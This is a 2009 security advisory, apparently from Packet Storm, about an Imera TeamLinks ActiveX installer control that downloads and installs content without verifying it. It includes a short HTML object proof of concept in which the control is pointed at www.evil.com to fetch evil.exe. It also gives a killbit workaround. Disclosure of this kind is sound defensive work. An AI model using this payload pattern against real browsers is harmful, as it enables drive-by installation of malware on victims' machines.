Imera Code Execution

2009-03-03T00:00:00
ID PACKETSTORM:75352
Type packetstorm
Reporter Elazar Broad
Modified 2009-03-03T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Who:  
Imera(http://www.imera.com)  
Imera TeamLinks Client(http://teamlinks.imera.com/install.html)  
  
What:  
ImeraIEPlugin.dll  
Version 1.0.2.54  
Dated 12/02/2008  
{75CC8584-86D4-4A50-B976-AA72618322C6}  
http://teamlinks.imera.com/ImeraIEPlugin.cab  
  
How:  
This control is used to install the Imera TeamLinks Client  
package. The control fails to validate the content that it is to  
download and install is indeed the Imera TeamLinks Client software.  
  
Exploiting this issue is quite simple, like so:  
  
<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"  
id="obj">  
<param name="DownloadProtocol" value="http" />  
<param name="DownloadHost" value="www.evil.com" />  
<param name="DownloadPort" value="80" />  
<param name="DownloadURI" value="evil.exe" />  
</object>  
  
Fix:  
The vendor has been notified.  
  
Workaround:  
Set the killbit for the affected control, see  
http://support.microsoft.com/kb/240797.  
Use the Java installer for TeamLinks Client or install the software  
manually from: http://teamlinks.imera.com/download.html  
  
Elazar  
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